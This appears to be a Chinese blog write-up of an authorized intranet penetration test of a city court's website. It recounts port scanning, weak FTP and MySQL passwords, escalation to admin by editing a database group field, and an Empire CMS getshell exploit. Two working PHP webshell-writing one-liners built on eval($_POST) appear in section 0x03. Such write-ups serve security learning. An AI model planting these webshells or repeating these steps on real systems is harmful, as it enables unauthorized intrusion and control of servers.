0x00 前言
暑假期间,上周末正好去了某地级市的中院做一次内网的渗透测试(测试一定要获取授权,不然进去和警察蜀黍喝茶),事后写下此文章来记录渗透测试的思路以及整体过程。渗透的过程中感谢组内的师傅提供的建议与指点。
第一次写这样的文章,文笔瑕疵(且渗透技术不高)。欢迎各位师傅指点一二,提出各种建议。
0x01 前期准备
拿到资产的第一步当然就是信息收集了,访问该站点查看发现是该院的网站首页。(手动打码)
对于这样的web站点,既然是搭建在内网,盲猜一波肯定是有弱口令的。所以先在该站点内到处点点看看,并不断抓包查看有无啥可用信息。
该站点我才用的是goby进行全端口扫描的,同时也用nmap扫描一些端口。
goby的就不展示了,nmap还是扫描到了一些开放的端口
同时也使用dirsearch和caesar这两款进行扫描
这里我就是直接使用Caesar了,需要用go环境,直接go run main.go audit -t IP -f 网站语言
直接跑出来网站的后台登录界面。同时还是cms系统,好家伙,直接指纹识别。
既然前面扫描出了那么多的端口,索性掏出内网大杀器,内网都试一遍,果然啊,除了ftp弱口令存在,mysql竟然也有弱口令。(左边的ssh请忽略哈)
那不得直接登进去看看呀,运气真好。
可惜登录进去后不能直接读写本地文件,有点可惜。
不过既然获取到了数据库,那么肯定得扒拉扒拉,因此也是顺利翻到了后台登录的账户和密码。不过一看发现竟然是md5加盐了(字段中有salt),这破解个屁屁
既然admin用不了,尝试123456也失败了,本来想要爆破后台,无奈超过5次就锁定一小时了。
不过既然是cms,指纹识别一下发现为帝国cms,像我这种脚本小子不得直接payload一把梭嘛。可惜的是大部分都得进入后台才可以,其他的也都试过,可惜全部失败。
不过既然admin不行,那就利用其他的账户进取瞅瞅,还是猜测弱口令,竟然又进去了(运气是真的好啊)。不过权限就是很低,可以看到基本上啥也没有。其他账户的权限也是很低。
0x02 admin权限
渗透到这里实际上就卡住了,好不容易翻到的后台,难道就一个弱口令,冷静下来到处翻翻,尝试其他的,例如sql或者xss啥的,或者找到一些上传点之类的,可惜要么失败要么就是权限不够。
思索片刻之后,既然是低权限用户,可不可以尝试垂直越权一类的呢,通过抓包改包或者其他手段能否绕过。
在翻了翻数据库后,不经意间发现在user表中,有一字段的名称是groupid,恰好admin为1,其他低权限都是2,索性直接将其他的弱口令用户改为1并保存,再次尝试登录
芜湖,果然,现在的用户已经属于管理员组了,出现了很多可以点点点的图标,并且获得了php的版本,帝国cms的版本等等。
直接百度该版本所存在的漏洞,出现一大堆,挑了一个数据库mod的getshell来尝试利用。写个phpinfo试试看(如何getshell的可以自行百度哇)
成功执行phpinfo,索性开始尝试种马
0x03 写入shell
不过在尝试了网上的写马后,一直失败,猜测可能是有一些防护之类的。我采用的是下列的写入shell:
<?php file_put_contents("shell.php","<?php @eval(\$_POST[shell]);?>");?>
明明添加了转义符,但是这个shell却始终写不进去。一时卡壳,去询问大佬,然后换了一条语句来写shell。
<?fputs(fopen("ceshi.php","w"),"<?eval(\$_POST['ceshi']);?>")?>
访问成功(再次感谢大佬的帮助。自己太菜了呜呜呜)
蚁剑连接也顺利进去
之后便想着进一步渗透,可惜回显为ret=-1,没有权限,自己尝试半天也没成功,就先留个记号,转而测试其他资产了。此站点到这一步也就暂时结束了。
0x04 总结一下下
总的来说此次测试的运气成分还是很大的。对于信息收集感觉还是可以再加深一步,对于常见的cms还是不够熟悉,以及提权啊,种马啥的,好多地方都还需要进一步的学习。同时也感谢组内师傅的指导。
自己果然还是一个小菜鸡。希望以后的自己可以不用做脚本小子,慢慢成长起来,向大佬学习。